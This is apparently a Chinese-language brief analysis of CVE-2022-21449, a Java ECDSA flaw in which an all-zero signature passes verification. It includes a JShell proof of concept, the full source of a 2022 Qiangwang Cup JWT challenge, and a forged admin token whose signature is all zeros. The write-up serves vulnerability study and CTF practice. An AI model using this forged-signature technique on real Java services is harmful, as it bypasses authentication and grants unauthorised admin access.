CVE-2022-21449-Brief-analysis

介绍

ECDSA代表椭圆曲线数字签名算法,与旧的RSA签名相比,ECDSA签名长度更短,因此应用面较广,例如各种JWT场景。服务器使用java15~18版本的ECDSA,会受到攻击者绕过的影响。由于ECDSA未对提交的r和s值做仔细的检查,攻击者可通过将为0的r和s作为参数提交给服务器,实现绕过验签的过程。

环境准备

JShell -- 版本 15.0.2

攻击过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
jshell> import java.security.*

jshell> var keys = KeyPairGenerator.getInstance("EC").generateKeyPair()
keys ==> java.security.KeyPair@63e31ee

jshell> var blankSignature = new byte[64]
blankSignature ==> byte[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ... , 0, 0, 0, 0, 0, 0, 0, 0 }

jshell> var sig = Signature.getInstance("SHA256WithECDSAInP1363Format")
sig ==> Signature object: SHA256WithECDSAInP1363Format<not initialized>

jshell> sig.initVerify(keys.getPublic())

jshell> sig.update("Hello, World".getBytes())

jshell> sig.verify(blankSignature)
$7 ==> true
// 成功绕过验签

技术细节

ECDSA签名由两个值组成,称为r和s。验签需要检查的含有r, s, 公钥和消息的摘要值的方程。方程一侧是r, 另一侧包含r和s。因此如果r和s均为0,则方程结果是, 从而方程成立,验签通过。

构造payload

jwt一般会对参数编码,故针对特定场景,需要构造不同的payload。

强网杯2022 myJWT :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.security.KeyPair;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;
import java.security.*;
import java.util.Base64;
import java.util.Scanner;

import com.alibaba.fastjson.*;

class ECDSA{
public KeyPair keyGen() throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");
keyPairGenerator.initialize(384);
KeyPair keyPair = keyPairGenerator.genKeyPair();
return keyPair;
}

public byte[] sign(byte[] str, ECPrivateKey privateKey) throws Exception {
Signature signature = Signature.getInstance("SHA384withECDSAinP1363Format");
signature.initSign(privateKey);
signature.update(str);
byte[] sig = signature.sign();
return sig;
}

public boolean verify(byte[] sig, byte[] str ,ECPublicKey publicKey) throws Exception {
Signature signature = Signature.getInstance("SHA384withECDSAinP1363Format");
signature.initVerify(publicKey);
signature.update(str);
return signature.verify(sig);
}
}

public class jwt{

public static int EXPIRE = 60;
public static ECDSA ecdsa = new ECDSA();
public static String generateToken(String user, ECPrivateKey ecPrivateKey) throws Exception {
JSONObject header = new JSONObject();
JSONObject payload = new JSONObject();
header.put("alg", "myES");
header.put("typ", "JWT");
String headerB64 = Base64.getUrlEncoder().encodeToString(header.toJSONString().getBytes());
payload.put("iss", "qwb");
payload.put("exp", System.currentTimeMillis() + EXPIRE * 1000);
payload.put("name", user);
payload.put("admin", false);
String payloadB64 = Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());
String content = String.format("%s.%s", headerB64, payloadB64);
byte[] sig = ecdsa.sign(content.getBytes(), ecPrivateKey);
String sigB64 = Base64.getUrlEncoder().encodeToString(sig);

return String.format("%s.%s", content, sigB64);
}

public static boolean verify(String token, ECPublicKey ecPublicKey) throws Exception {
String[] parts = token.split("\\.");
if (parts.length != 3) {
return false;
}else {
String headerB64 = parts[0];
String payloadB64 = parts[1];
String sigB64 = parts[2];
String content = String.format("%s.%s", headerB64, payloadB64);
byte[] sig = Base64.getUrlDecoder().decode(sigB64);
return ecdsa.verify(sig, content.getBytes(), ecPublicKey);
}

}

public static boolean checkAdmin(String token, ECPublicKey ecPublicKey, String user) throws Exception{
if(verify(token, ecPublicKey)) {
String payloadB64 = token.split("\\.")[1];
String payloadDecodeString = new String(Base64.getUrlDecoder().decode(payloadB64));
JSONObject payload = JSON.parseObject(payloadDecodeString);

if(!payload.getString("name").equals(user)) {
return false;
}
if (payload.getLong("exp") < System.currentTimeMillis()) {
return false;
}
return payload.getBoolean("admin");
} else {
return false;
}
}

public static String getFlag(String token, ECPublicKey ecPublicKey, String user) throws Exception{
String err = "You are not the administrator.";
if(checkAdmin(token, ecPublicKey, user)) {
File file = new File("/root/task/flag.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String flag = br.readLine();
br.close();
return flag;
} else {
return err;
}
}

public static boolean task() throws Exception {
Scanner input = new Scanner(System.in);
System.out.print("your name:");
String user = input.nextLine().strip();
System.out.print(String.format("hello %s, let's start your challenge.\n", user));
KeyPair keyPair = ecdsa.keyGen();
ECPrivateKey ecPrivateKey = (ECPrivateKey) keyPair.getPrivate();
ECPublicKey ecPublicKey = (ECPublicKey) keyPair.getPublic();
String menu = "1.generate token\n2.getflag\n>";
Integer choice = 0;
Integer count = 0;
while (count <= 10) {
count++;
System.out.print(menu);
choice = Integer.parseInt(input.nextLine().strip());
if(choice == 1) {
String token = generateToken(user, ecPrivateKey);
System.out.println(token);
} else if (choice == 2) {
System.out.print("your token:");
String token = input.nextLine().strip();
String flag = getFlag(token, ecPublicKey, user);
System.out.println(flag);
input.close();
break;
} else {
input.close();
break;
}
}
return true;
}

public static void main(String[] args) throws Exception {
task();
}

}

payload:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiV2Fua2tvIFJlZSIsImFkbWluIjp0cnVlLCJleHAiOjE3NTkzMjEzMjg0Mzh9.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA